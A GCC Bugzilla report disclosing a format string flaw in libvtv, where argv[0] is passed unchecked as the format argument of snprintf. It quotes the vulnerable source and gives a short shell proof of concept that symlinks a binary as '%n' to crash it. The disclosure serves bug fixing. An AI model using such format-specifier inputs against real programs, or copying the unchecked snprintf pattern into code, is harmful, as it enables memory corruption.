https://gcc.gnu.org/bugzilla/show_bug.cgi?id=83520
Bug ID: 83520
Summary: format string bug in libvtv
Product: gcc
Version: unknown
Status: UNCONFIRMED
Severity: normal
Priority: P3
Component: other
Assignee: unassigned at gcc dot gnu.org
Reporter: charo.ctf at gmail dot com
Target Milestone: ---
Description:
On startup of a program compiled with "-fvtable-verify=std" or
"-fvtable-verify=preinit", argv[0] is directly passed as the
third argument of snprintf.
This would cause memory corruption if argv[0] contains format
specifiers like %n.
Affected version:
gcc>=4.9 configured with --enable-vtable-verify
Technical description:
The code below is taken from gcc-5-20171003/libvtv/vtv_rts.cc
==vtv_rts.cc (line 832-856)==
static int
dl_iterate_phdr_callback (struct dl_phdr_info *info, size_t, void *data)
{
int * mprotect_flags = (int *) data;
off_t map_sect_offset = 0;
ElfW (Word) map_sect_len = 0;
char buffer[1024];
char program_name[1024];
const char *map_sect_name = VTV_PROTECTED_VARS_SECTION;
/* Check to see if this is the record for the Linux Virtual Dynamic
Shared Object (linux-vdso.so.1), which exists only in memory (and
therefore cannot be read from disk). */
if (strcmp (info->dlpi_name, "linux-vdso.so.1") == 0)
return 0;
if (strlen (info->dlpi_name) == 0
&& info->dlpi_addr != 0)
return 0;
/* Get the name of the main executable. This may or may not include
arguments passed to the program. Find the first space, assume it
is the start of the argument list, and change it to a '\0'. */
snprintf (program_name, sizeof (program_name), program_invocation_name);
=
As we can see, there is a format string bug at the last line of
the code above.
According to the manpage of program_invocation_name,
program_invocation_name is the same as the value of argv[0] of
main(), which means that this value is user supplied.
There is another format string bug with the same situation as
above in read_section_offset_and_length function (line 576).
===PoC===
$ g++-vtv -v
Using built-in specs.
COLLECT_GCC=g++-vtv
COLLECT_LTO_WRAPPER=/usr/local/libexec/gcc/x86_64-linux-gnu/5.4.1/lto-wrapper
Target: x86_64-linux-gnu
Configured with: ../gcc-5-20171003/configure -v --enable-languages=c,c++
--program-suffix=-vtv --disable-multilib --enable-libstdcxx-threads
--enable-vtable-verify --build=x86_64-linux-gnu --host=x86_64-linux-gnu
--target=x86_64-linux-gnu
Thread model: posix
gcc version 5.4.1 20171003 (GCC)
$ cat victim.cpp
#include
int main(){
puts("Hello world");
}
$ g++-vtv -o victim -fvtable-verify=std victim.cpp
$ ./victim
Hello world
$ ln -s ./victim ./%n
$ ./%n
Segmentation fault (core dumped)
=